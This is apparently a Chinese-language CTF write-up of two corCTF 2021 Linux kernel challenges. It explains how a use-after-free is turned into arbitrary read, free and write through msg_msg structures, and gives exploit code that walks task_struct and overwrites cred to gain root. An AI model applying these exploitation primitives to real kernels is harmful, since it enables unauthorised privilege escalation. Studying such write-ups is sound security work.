【技術分享】Linux內核中利用msg_msg結構實現任意地址讀寫
題目及exp下載 —— https://github.com/bsauce/CTF/tree/master/corCTF%202021
介紹:本文示例是來自corCTF 2021中 的兩個內核題,由 BitsByWill 和 D3v17 所出。針對UAF漏洞,漏洞對象從kmalloc-64到kmalloc-4096,都能利用 msg_msg 結構實現任意寫。本驅動是基于NetFilter所寫,有兩個模式,簡單模式(對應題目Fire_of_Salvation)和復雜模式(對應題目Wall_of_Perdition),所用的內核bzImage相同。二者的區別是,簡單模式下,rule_t 規則結構包含長度 0x800 的字符串成員 rule_t->desc,漏洞對象位于kmalloc-4k,復雜模式下rule_t 規則 也即漏洞對象位于kmalloc-64。
總結:如果UAF的漏洞對象是kmalloc-4096,就很容易構造重疊的漏洞對象和msg_msg結構消息塊(都位于kmalloc-4096),篡改msg_msg->m_ts和msg_msg->next實現任意地址讀寫。
如果UAF的漏洞對象小于kmalloc-4096,例如kmalloc-64,則可以先構造重疊的漏洞對象和msg_msg結構消息塊(都位于kmalloc-64),篡改msg_msg->m_ts和msg_msg->next實現越界讀和任意地址讀;然后篡改msg_msg->next實現任意地址釋放,再構造重疊的消息塊(位于kmalloc-4096的msg_msgseg消息和msg_msg消息),利用userfault用戶頁錯誤處理控制消息寫入的時機,篡改msg_msg->next指針指向cred地址,實現任意地址寫。
注意,調用msgrcv()讀取內核數據時,如果帶上MSG_COPY標志,就能避免內核unlink消息,以避免第一次泄露地址時未正確偽造msg_msg->m_list.next和msg_msg->m_list.prev導致unlink時崩潰。
緩解機制:開啟 CONFIG_SLAB_FREELIST_RANDOM 機制后,就能阻止該利用,但其實 CONFIG_SLAB_FREELIST_RANDOM 只能降低第2題泄露地址的成功率,但是泄露失敗后程序會停止,泄露成功后程序會提權成功,所以多試幾次就能提權成功了。
1. 漏洞分析
代碼分析:共5個函數功能,用戶通過傳入 user_rule_t 結構來創建路由規則并存入 rule_t 結構中,多條進出處理規則分別存入 firewall_rules_in 和 firewall_rules_out 全局數組中(每個數組最多存0x80條規則)。
firewall_add_rule()——添加一條規則。rule_t 規則結構如下。
typedef struct{ char iface[16]; // 設備名 char name[16]; // 規則名 uint32_t ip; uint32_t netmask; uint16_t proto; // 只能是 TCP 或 UDP uint16_t port; uint8_t action; // 只能是 DROP 或 ACCEPT uint8_t is_duplicated; #ifdef EASY_MODE char desc[DESC_MAX]; #endif} rule_t;
firewall_delete_rule()——釋放規則,并將全局數組上對應的指針清0。
firewall_show_rule()——未實現。
firewall_edit_rule()——編輯規則。
firewall_dup_rule()——復制規則,將firewall_rules_in 指針復制到firewall_rules_out 數組,或者相反。每條規則只能復制一次,通過rule_t->is_duplicated來記錄是否被復制過。漏洞就在這里,可以先復制規則,再釋放規則,導致UAF或double-free,只能寫不能讀,而且只能UAF寫 0x28 – 0x30 字節。
process_rule()處理規則:(本函數與漏洞利用無關)nf_register_net_hook()——NetFilter hooks注冊鉤子函數。nf_hook_ops 是注冊的鉤子函數的核心結構。本驅動的鉤子點是NF_INET_PRE_ROUTING 和 NF_INET_POST_ROUTING,應該是分別在在路由前和路由后執行鉤子函數 firewall_inbound_hook() 和 firewall_outbound_hook() 函數。鉤子函數 firewall_inbound_hook() 和 firewall_outbound_hook() 函數在收到進出的 sk_buff 數據后,分別按照進出規則調用 process_rule() 函數來處理數據。
首先設備名skb->dev->name 和 rule_t->ifaces 要匹配;
如果是進數據,則源ip所屬的子網要匹配;如果是出數據,則目的ip所屬的子網要匹配;
如果是TCP數據包,rule_t->port 要和目標端口匹配,rule_t->action 要為NF_DROP 或 NF_ACCEPT 接收狀態,打印信息。
如果是UDP數據包,rule_t->port 要和目標端口匹配,rule_t->action 要為NF_DROP 或 NF_ACCEPT 接收狀態,打印信息。
漏洞:只能UAF寫 0x28 – 0x30 字節,不能UAF讀,因為沒有實現firewall_show_rule()功能。
保護機制:SMAP/SMEP/KPTI, FG-KASLR, SLAB_RANDOM, SLAB_HARDENED, STATIC_USERMODE_HELPER。使用SLAB分配器。可以從給出的配置文件中看出,允許userfaultfd 調用、hardened_usercopy、CHECKPOINT_RESTORE。
利用局限:
由于使用了SLAB分配器,所以chunk上沒有 freelist 指針(即便有freelist指針,也不在前0x30用戶可控的區域,可能內核把freelist指針后移了);
FG-KASLR機制會阻礙你覆蓋內核結構上的函數指針,例如sk_buff結構中的destructor arg回調函數指針,多數不在.text前面的gadget受到影響;ROP還能用,不過必須先任意讀ksymtab泄露所在函數的地址;
設置CONFIG_STATIC_USERMODEHELPER,使得覆蓋modprobe_path或core_pattern的方法不再適用;physmap噴射可用,但是不穩定;綜上,繞過SMAP最直接的方法是構造任意讀,來讀取task雙鏈表,找到當前的task并覆蓋cred。
2. 內核IPC——msgsnd()與msgrcv()源碼分析
介紹:內核提供了兩個syscall來進行IPC通信, msgsnd() 和 msgrcv(),內核消息包含兩個部分,消息頭 msg_msg 結構和緊跟的消息數據。長度從kmalloc-64 到 kmalloc-4096。消息頭 msg_msg 結構如下所示。
struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void *security; // security指針總為0,因為未開啟SELinux /* the actual message follows immediately */};
2.1 msgsnd() 數據發送
總體流程:當調用 msgsnd() 來發送消息時,調用 msgsnd() -> ksys_msgsnd() -> do_msgsnd() -> load_msg() -> alloc_msg() 來分配消息頭和消息數據,然后調用 load_msg() -> copy_from_user() 來將用戶數據拷貝進內核。
示例:例如,如果想要發送一個包含 0x1fc8 個 A的消息,用戶態首先調用msgget() 創建消息隊列,然后調用 msgsnd()發送數據:
[...]
struct msgbuf{ long mtype; char mtext[0x1fc8];} msg;
msg.mtype = 1;memset(msg.mtext, 'A', sizeof(msg.mtext));
qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));msgsnd(qid, &msg, sizeof(msg.mtext), 0);
[...]
創建消息: do_msgsnd() -> load_msg() -> alloc_msg() 。總結,如果消息長度超過0xfd0,則分段存儲,采用單鏈表連接,第1個稱為消息頭,用 msg_msg 結構存儲;第2、3個稱為segment,用 msg_msgseg 結構存儲。消息的最大長度由 /proc/sys/kernel/msgmax 確定, 默認大小為 8192 字節,所以最多鏈接3個成員。
static struct msg_msg *alloc_msg(size_t len){ struct msg_msg *msg; struct msg_msgseg **pseg; size_t alen;
alen = min(len, DATALEN_MSG); // [1] len 是用戶提供的數據size,本例中為0x1fc8。DATALEN_MSG = ((size_t)PAGE_SIZE - sizeof(struct msg_msg)) = 0x1000-0x30 = 0xfd0。本例中 alen = 0xfd0 msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); // [2] 這里分配 0x1000 堆塊,對應 kmalloc-4096 if (msg == NULL) return NULL;
msg->next = NULL; msg->security = NULL;
len -= alen; // [3] 待分配的size,繼續分配,用單鏈表存起來。len = 0x1fc8-0xfd0 = 0xff8 pseg = &msg->next; while (len > 0) { struct msg_msgseg *seg;
cond_resched();
alen = min(len, DATALEN_SEG); // [4] DATALEN_SEG = ((size_t)PAGE_SIZE - sizeof(struct msg_msgseg)) = 0x1000-0x8 = 0xff8。alen = 0xff8 seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT); // [5] 還是分配 0x1000,位于kmalloc-4096 if (seg == NULL) goto out_err; *pseg = seg; // [6] 單鏈表串起來 seg->next = NULL; pseg = &seg->next; len -= alen; }
return msg;
out_err: free_msg(msg); return NULL;}
拷貝消息: do_msgsnd() -> load_msg() -> copy_from_user() 。將消息從用戶空間拷貝到內核空間。
struct msg_msg *load_msg(const void __user *src, size_t len){ struct msg_msg *msg; struct msg_msgseg *seg; int err = -EFAULT; size_t alen;
msg = alloc_msg(len); // [1] if (msg == NULL) return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG); if (copy_from_user(msg + 1, src, alen)) // [2] 從用戶態拷貝數據,0xfd0字節 goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) { len -= alen; src = (char __user *)src + alen; alen = min(len, DATALEN_SEG); if (copy_from_user(seg + 1, src, alen)) // [3] 剩下的拷貝到其他segment,0xff8字節 goto out_err; }
err = security_msg_msg_alloc(msg); if (err) goto out_err;
return msg;
out_err: free_msg(msg); return ERR_PTR(err);}
內核消息結構:

2.2 msgsrv() 數據接收
總體流程: msgrcv() -> ksys_msgrcv() -> do_msgrcv() -> find_msg() & do_msg_fill() & free_msg()。調用 find_msg() 來定位正確的消息,將消息從隊列中unlink,再調用 do_msg_fill() -> store_msg() 來將內核數據拷貝到用戶空間,最后調用 free_msg() 釋放消息。
long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz, long msgtyp, int msgflg){ return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);}
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg, long (*msg_handler)(void __user *, struct msg_msg *, size_t)){ // 注意:msg_handler 參數實際指向 do_msg_fill() 函數 int mode; struct msg_queue *msq; struct ipc_namespace *ns; struct msg_msg *msg, *copy = NULL; DEFINE_WAKE_Q(wake_q); ... ... if (msgflg & MSG_COPY) { if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT)) return -EINVAL; copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax)); // [4] if (IS_ERR(copy)) return PTR_ERR(copy); } mode = convert_mode(&msgtyp, msgflg);
rcu_read_lock(); msq = msq_obtain_object_check(ns, msqid); ... ... for (;;) { struct msg_receiver msr_d;
msg = ERR_PTR(-EACCES); if (ipcperms(ns, &msq->q_perm, S_IRUGO)) goto out_unlock1;
ipc_lock_object(&msq->q_perm);
/* raced with RMID? */ if (!ipc_valid_object(&msq->q_perm)) { msg = ERR_PTR(-EIDRM); goto out_unlock0; }
msg = find_msg(msq, &msgtyp, mode); // [1] 調用 find_msg() 來定位正確的消息。之后檢查并unlink消息。 if (!IS_ERR(msg)) { /* * Found a suitable message. * Unlink it from the queue. */ if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) { msg = ERR_PTR(-E2BIG); goto out_unlock0; } /* * If we are copying, then do not unlink message and do * not update queue parameters. */ if (msgflg & MSG_COPY) { msg = copy_msg(msg, copy); // [5] 若設置了MSG_COPY,則跳出循環,避免unlink goto out_unlock0; }
list_del(&msg->m_list); ... ... }
out_unlock0: ipc_unlock_object(&msq->q_perm); wake_up_q(&wake_q);out_unlock1: rcu_read_unlock(); if (IS_ERR(msg)) { free_copy(copy); return PTR_ERR(msg); }
bufsz = msg_handler(buf, msg, bufsz); // [2] 調用 do_msg_fill() 把消息從內核拷貝到用戶。具體代碼如下所示 free_msg(msg); // [3] 拷貝完成后,釋放消息。
return bufsz;}
消息拷貝: do_msg_fill() -> store_msg() 。和創建消息的過程一樣,先拷貝消息頭(msg_msg結構對應的數據),再拷貝segment(msg_msgseg結構對應的數據)。
static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz){ struct msgbuf __user *msgp = dest; size_t msgsz;
if (put_user(msg->m_type, &msgp->mtype)) return -EFAULT;
msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz; // [1] 檢查請求的數據長度是否大于 msg->m_ts ,超過則只能獲取 msg->m_ts 長度的數據(為了避免越界讀)。本例中,msgsz 為0x1fc8字節, if (store_msg(msgp->mtext, msg, msgsz)) // [2] 最后調用 store_msg()將 msgsz也即0x1fc8字節拷貝到用戶空間,代碼如下所示 return -EFAULT; return msgsz;}
int store_msg(void __user *dest, struct msg_msg *msg, size_t len){ size_t alen; struct msg_msgseg *seg;
alen = min(len, DATALEN_MSG); // [1] 和創建消息的過程一樣,alen=0xfd0 if (copy_to_user(dest, msg + 1, alen)) // [2] 先拷貝消息頭 return -1;
for (seg = msg->next; seg != NULL; seg = seg->next) { // [3] 遍歷其他segment len -= alen; dest = (char __user *)dest + alen; alen = min(len, DATALEN_SEG); // [4] 本例中為0xff8 if (copy_to_user(dest, seg + 1, alen)) // [5] 再拷貝segment return -1; } return 0;}
消息釋放:store_msg() 。先釋放消息頭,再釋放segment。
void free_msg(struct msg_msg *msg){ struct msg_msgseg *seg;
security_msg_msg_free(msg);
seg = msg->next; kfree(msg); // [1] 釋放 msg_msg while (seg != NULL) { // [2] 釋放 msg_msgseg struct msg_msgseg *tmp = seg->next;
cond_resched(); kfree(seg); // [3] seg = tmp; }}
MSG_COPY:見 do_msgrcv() 中 [4]處,如果用flag MSG_COPY來調用 msgrcv() (內核編譯時需配置CONFIG_CHECKPOINT_RESTORE選項,默認已配置),就會調用 prepare_copy() 分配臨時消息,并調用 copy_msg() 將請求的數據拷貝到該臨時消息(見 do_msgrcv() 中 [5]處)。在將消息拷貝到用戶空間之后,原始消息會被保留,不會從隊列中unlink,然后調用free_msg()刪除該臨時消息,這對于利用很重要。
為什么?因為本漏洞在第一次UAF的時候,沒有泄露正確地址,所以會破壞msg_msg->m_list雙鏈表指針,unlink會觸發崩潰。本題的UAF會破壞前16字節,如果某漏洞可以跳過前16字節,是否不需要注意這一點?
void *memdump = malloc(0x1fc8); msgrcv(qid, memdump, 0x1fc8, 1, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
3. Fire of Salvation 簡單模式利用
特點:大小為kmalloc-4096的UAF。
任意讀:hardened_usercopy 機制不允許修改size越界讀寫。可利用UAF篡改msg_msg->m_ts和msg_msg->next(指向的下一個segment前8字節必須為null,避免遍歷消息時出現訪存崩潰)。
任意寫:創建一個需要多次分配堆塊的消息(>0xfd0),在拷貝消息頭(msg_msg結構)的時候利用userfault進行掛起,然后利用UAF篡改msg_msg->next指向目標地址,目標地址的前8字節必須為NULL(避免崩潰),解除掛起后就能實現任意寫。任意寫的原理如下圖所示:

3.1 步驟1——泄露內核基址
泄露內核基址:由于開啟了FG-KASLR,只能噴射大量shm_file_data對象(kmalloc-32)來泄露地址,因為FG-KASLR是在boot時對函數和某些節進行二次隨機化,而shm_file_data->ns這種指向全局結構的指針不會被二次隨機化。我們可以傳入消息來分配1個kmalloc-4096的消息頭和1個kmalloc-32的segment,然后利用UAF改大msg_msg->m_ts,調用msgrcv()讀內存,這樣就能越界讀取多個kmalloc-32結構,泄露地址。注意,需使用MSG_COPY flag避免unlink時崩潰。原理如下圖所示:

3.2 步驟2——泄露cred地址
泄露cred地址:再次利用任意讀,從init_task開始找到當前進程的task_struct(也可以調用 prctl SET_NAME來設置comm成員,以此標志來暴搜,詳見 Google CTF Quals 2021 Fullchain writeup)。本題提供了vmlinux符號信息,task_struct->tasks偏移是0x398,該位置的前8字節為null,可以當作1個segment;real_cred和cred指針在偏移0x538和0x540處,前面8字節也是null。利用UAF改大msg_msg->m_ts,將msg_msg->next改為&task_struct+0x298-8,調用msgrcv()讀內存。

3.3 步驟3——篡改cred & real_cred指針
篡改cred & real_cred指針:根據pid找到當前進程后,利用UAF篡改msg_msg->next指向&real_cred-0x8,調用msgsnd()寫內存,即可將real_cred和cred指針替換為init_cred即可提權。


4. Wall of Perdition 復雜模式利用
特點:大小為kmalloc-64的UAF。
現有的任意寫、任意釋放技術: Four Bytes of Power: Exploiting CVE-2021-26708 in the Linux kernel 中介紹了如何偽造msg_msg->m_ts來實現任意寫,也通過msg_msg->security指針實現了任意釋放,但是本題關閉了SELinux,則msg_msg->security指針總是指向NULL,本題不適用。
4.1 步驟1——越界讀泄露內核基址、msg_msg->m_list.next / prev
創建2個消息隊列:
[...]
void send_msg(int qid, int size, int c){ struct msgbuf { long mtype; char mtext[size - 0x30]; } msg;
msg.mtype = 1; memset(msg.mtext, c, sizeof(msg.mtext));
if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1) { perror("msgsnd"); exit(1); }}
[...]
// [1] 先調用msgget()創建兩個隊列,第一個標記為QID #0,第二個標記為QID #1。if ((qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1){ perror("msgget"); exit(1);}
if ((qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1){ perror("msgget"); exit(1);}
// [2] 調用 add_rule() 向firewall_rules_in添加inbound規則,再調用 duplicate_rule() 復制到 firewall_rule_out,釋放后還能從 firewall_rule_out[1] 訪問,觸發UAFadd_rule(0, buff, INBOUND);duplicate_rule(0, INBOUND);delete_rule(0, INBOUND);
send_msg(qid[0], 0x40, 'A'); // [3] 調用send_msg(),也即對msgsnd()的包裝函數,分配3個消息。第1個大小為0x40, 位于隊列 QID #0, 由于和剛剛釋放的rule位于同一個kmalloc-64,所以能修改該消息的msg_msg頭結構。send_msg(qid[1], 0x40, 'B'); // [4] 第2個消息在隊列QID #1中,大小為0x40字節send_msg(qid[1], 0x1ff8, 0); // [5] 第3個消息在隊列QID #1中,大小為0x1ff8字節
[...]
消息布局: QID #0 消息隊列——橘色部分是第1個消息,堆塊大小0x40,可通過 edit_rule() 完全控制。 QID #1消息隊列——第1個消息,堆塊大小為0x40,其 msg_msg->m_list.prev 指向消息隊列 QID #1,m_list.next指向第2個消息,占兩個kmalloc-4096。

泄露內存:利用UAF改大 QID #0 隊列的消息msg_msg->m_ts,調用msgrcv()越界讀取 QID #0 隊列的第1個消息,m_list.next (指向下一個消息 kmalloc-4096)和 m_list.prev (指向QID #1隊列),最后我們還能泄露 sysfs_bin_kfops_ro,由于該符號位于內核的data節,所以不受FG-KASLR保護的影響,所以可以用來計算內核基址。
[...]
void *recv_msg(int qid, size_t size){ void *memdump = malloc(size);
if (msgrcv(qid, memdump, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR) == -1) { perror("msgrcv"); return NULL; }
return memdump;}
[...]
uint64_t *arb_read(int idx, uint64_t target, size_t size, int overwrite){ struct evil_msg *msg = (struct evil_msg *)malloc(0x100);
msg->m_type = 0; msg->m_ts = size; // [2] 調用edit_rule()覆蓋目標對象的 m_ts 域
if (overwrite) { msg->next = target; edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0); } else { edit_rule(idx, (unsigned char *)msg, OUTBOUND, 1); // [3] }
free(msg);
return recv_msg(qid[0], size); // [4] 調用 recv_msg(),也即msgrcv()的包裝函數,注意使用 MSG_COPY flag, 就能泄露內存。由于我們破壞了 m_list.next 和 m_list.prev 指針,所以如果不使用 MSG_COPY flag 的話,do_msgrcv() 就會 unlink message,導致出錯崩潰。}
[...]
uint64_t *leak = arb_read(0, 0, 0x2000, 0); // [1] 調用 arb_read(), 參數0x2000
[...]

4.2 步驟2——越界讀到任意讀,泄露當前進程的cred地址
思路:根據sysfs_bin_kfops_ro 地址可計算出內核基址,得到init_task的地址,即系統執行的第一個進程的 task_struct 結構。 task_struct 中有3個成員很重要:tasks 包含指向前后 task_struct的指針(偏移0x298),pid 進程號(偏移0x398),cred 進程的憑證(偏移0x540)。
exp中,我們調用 find_current_task() 來遍歷所有的task [1],從init_task開始找到當前進程的task_struct [2],find_current_task()多次調用 arb_read(),利用UAF篡改msg_msg->m_ts 和msg_msg->next指針,調用msgrcv()泄露出指向下一個task的tasks->next指針 [3] 和 PID [4],然后直到找到當前task。
[...]
uint64_t find_current_task(uint64_t init_task){ pid_t pid, next_task_pid; uint64_t next_task;
pid = getpid();
printf("[+] Current task PID: %d", pid); puts("[*] Traversing tasks...");
leak = arb_read(0, init_task + 8, 0x1500, 1) + 0x1f9; next_task = leak[0x298/8] - 0x298;
leak = arb_read(0, next_task + 8, 0x1500, 1) + 0x1f9; next_task_pid = leak[0x398/8];
while (next_task_pid != pid) // [2] { next_task = leak[0x298/8] - 0x298; // [3] leak = arb_read(0, next_task + 8, 0x2000, 1) + 0x1f9; next_task_pid = leak[0x398/8]; // [4] }
puts("[+] Current task found!");
return next_task;}
[...]
puts("[*] Locating current task address...");uint64_t current_task = find_current_task(init_task); // [1]printf("[+] Leaked current task address: 0x%lx", current_task);
[...]
具體:篡改 msg_msg->m_ts 為0x2000,篡改 msg_msg->next指針指向 task_struct結構(注意頭8字節為null),遍歷雙鏈表直到讀取到當前進程的task_struct。同理泄露當前進程的cred地址。
[...]
leak = arb_read(0, current_task, 0x2000, 1) + 0x1fa;cred_struct = leak[0x540/8];printf("[+] Leaked current task cred struct: 0x%lx", cred_struct);
[...]

4.3 步驟3——任意釋放
目標:目前已獲取當前進程的task地址和cred地址,需構造任意寫,但前提需要構造任意釋放。根本目標是構造重疊的kmalloc-4096堆塊,讓其既充當一個消息的msg_msgseg segment,又充當另一個消息的msg_msg,這樣就能覆寫msg_msg->next指針構造任意寫。問題,為什么不構造重疊的kmalloc-64?因為kmalloc-64作為msg_msg的話不可能有segment,不能偽造它的msg_msg->next來任意寫;且傳入的長度已確定,無法寫segment來任意寫。
釋放消息:首先釋放QID #1中的消息,兩次調用msgrcv()(不帶MSG_COPY flag)。
(1)第一次調用 msgrcv(),內核釋放QID #1中第1個消息-kmalloc-64;
(2)第二次調用 msgrcv(),內核釋放第2個消息-kmalloc-4096和相應的segment(也在kmalloc-4096中)。
[...] msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); // [1]msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); // [2] [...]
內存布局如下:

kmalloc-4096釋放順序:注意,前面的exp中,我們泄露了kmalloc-4096的地址(QID #1 中消息2的msg_msg地址),前面我們第2次調用msgrcv()時,內核調用 do_msgrcv() -> free_msg() 先釋放 kmalloc-4096的msg_msg,再釋放kmalloc-4096的segment,由于后進先出,分配新的消息時會先獲取segment對應的kmalloc-4096,所以新的msg_msg占據之前的segment,新的segment占據之前的msg_msg。
申請消息-QID #2:子線程創建新消息,首先創建隊列QID #2 [2],再調用msgsnd()創建0x1ff8大小的消息(0x30的頭和0x1fc8的數據),內核中會創建0x30+0xfd0大小的msg_msg和0x8+0xff8大小的msg_msgseg。
用戶傳入數據位于page_1 + PAGE_SIZE - 0x10,使用 userfaultfd 來監視 page_1 + PAGE_SIZE 位置,等待頁錯誤,第2個頁錯誤。當load_msg()調用copy_from_user()拷貝時觸發頁錯誤,結果如下圖所示,現在我們已知新的segment地址(QID #1 中消息2的msg_msg地址),原因已經闡明。QID #2 布局如下圖所示:
[...]
void *allocate_msg1(void *_){ printf("[Thread 1] Message buffer allocated at 0x%lx", page_1 + PAGE_SIZE - 0x10);
if ((qid[2] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2] 創建隊列 QID #2 { perror("msgget"); exit(1); }
memset(page_1, 0, PAGE_SIZE); ((unsigned long *)(page_1))[0xff0 / 8] = 1;
if (msgsnd(qid[2], page_1 + PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0) < 0) // [3] 調用msgsnd() 創建0x1ff8大小的消息,新的`msg_msg`占據之前的segment,新的segment占據之前的`msg_msg`。 { puts("msgsend failed!"); perror("msgsnd"); exit(1); }
puts("[Thread 1] Message sent, *next overwritten!");}
[...]
pthread_create(&tid[2], NULL, allocate_msg1, NULL); // [1] 子線程創建新消息
[...]

任意釋放:調用arb_free(),偽造QID #0隊列中的消息結構,并釋放 QID #0 中的消息。
[...]
void arb_free(int idx, uint64_t target){ struct evil_msg *msg = (struct evil_msg *)malloc(0x100); void *memdump = malloc(0x2000);
msg->m_list.next = queue; // [2] 指向 QID #1 msg->m_list.prev = queue; msg->m_type = 1; msg->m_ts = 0x10; msg->next = target; // [3] 下一個segment指向QID #1隊列中的segment
edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0); // [4] 修改 QID #0 中的消息頭結構
puts("[*] Triggering arb free..."); msgrcv(qid[0], memdump, 0x10, 1, IPC_NOWAIT | MSG_NOERROR); // [5] 釋放 QID #0 中的消息 puts("[+] Target freed!");
free(memdump); free(msg);}
[...]
arb_free(0, large_msg); // [1]
[...]
[2]:我們用之前泄露的 QID #1 隊列的地址,來修復 QID #0 中的 msg_msg->m_list.next 和 msg_msg->m_list.prev ,這樣我們就能調用 msgrcv() 釋放 QID #0 中的消息,不用 MSG_COPY flag 也能避免內核unlink時崩潰。
[3]:使msg_msg->next指向之前泄露的message slab,也就是現在的QID #2消息的segment ;
[4]:調用 edit_rule() 修改 msg_msg 頭結構后,堆布局如下:
[5]:不帶 MSG_COPY flag 調用 msgrcv(),內核將會調用free_msg()釋放 QID #0 中的消息和 new segment。

4.4 步驟4——任意寫,篡改cred
思路:現在 QID #2中的msg_msg->next指向一個空閑的kmalloc-4096 (上一步利用任意釋放原語所釋放)。現在分配新消息占據該kmalloc-4096,即可通過QID #2篡改新消息的msg_msg->next實現任意寫。
[...]
void *allocate_msg2(void *_){ printf("[Thread 2] Message buffer allocated at 0x%lx", page_2 + PAGE_SIZE - 0x10);
if ((qid[3] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2] 創建隊列 QID #3 { perror("msgget"); exit(1); }
memset(page_2, 0, PAGE_SIZE); ((unsigned long *)(page_2))[0xff0 / 8] = 1;
if (msgsnd(qid[3], page_2 + PAGE_SIZE - 0x10, 0x1028 - 0x30, 0) < 0) // [3] 分配0x1028字節的消息(0x30頭 + 0xff8數據),內核中會分配1個 `0x30+0xfd0` 的消息塊(和之前任意釋放的segment位于同一塊)和1個`0x8+0x28`字節的segment(位于`kmalloc-64`)。 { puts("msgsend failed!"); perror("msgsnd"); exit(1); }
puts("[Thread 2] Message sent, target overwritten!");}
[...]
pthread_create(&tid[3], NULL, allocate_msg2, NULL); // [1] 創建子線程執行allocate_msg2()
[...]
[2]:創建隊列 QID #3。
[3]:調用msgsend() 分配0x1028字節的消息(0x30頭 + 0xff8數據),內核中會分配1個 0x30+0xfd0 的消息塊(和之前任意釋放的segment位于同一塊)和1個0x8+0x28字節的segment(位于kmalloc-64)。
用戶傳入數據位于page_2 + PAGE_SIZE - 0x10,使用 userfaultfd 來監視 page_2 + PAGE_SIZE 位置,等待頁錯誤,第2個頁錯誤。觸發頁錯誤時,堆布局如下:

篡改QID #3 中msg_msg->next指針:釋放第1個錯誤處理,將QID #3中的msg_msg->next指針,篡改為當前進程的cred-0x8(因為segment的頭8字節必須為null,避免load_msg()訪問next segment時崩潰)。
[...]
if (page_fault_location == page_1 + PAGE_SIZE) { printf("[PFH 1] Page fault at 0x%lx", page_fault_location); memset(buff, 0, PAGE_SIZE);
puts("[PFH 1] Releasing faulting thread");
struct evil_msg *msg = (struct evil_msg *)(buff + 0x1000 - 0x40);
msg->m_type = 0x1; msg->m_ts = 0x1000; msg->next = (uint64_t)(cred_struct - 0x8); // [1] 將 QID #3 中的 msg_msg->next 指針,篡改為當前進程的 cred-0x8
ufd_copy.dst = (unsigned long)(page_fault_location); ufd_copy.src = (unsigned long)(&buff); ufd_copy.len = PAGE_SIZE; ufd_copy.mode = 0; ufd_copy.copy = 0;
for (;;) { if (release_pfh_1) { if (ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0) { perror("ioctl(UFFDIO_COPY)"); exit(1); }
puts("[PFH 1] Faulting thread released"); break; } } }
[...]
篡改cred:釋放第2個錯誤處理,將當前進程的cred覆蓋為0,最終提權。


參考
corCTF 2021 Fire of Salvation Writeup: Utilizing msg_msg Objects for Arbitrary Read and Arbitrary Write in the Linux Kernel
[corCTF 2021] Wall Of Perdition: Utilizing msg_msg Objects For Arbitrary Read And Arbitrary Write In The Linux Kernel
wall_of_perdition_exploit.c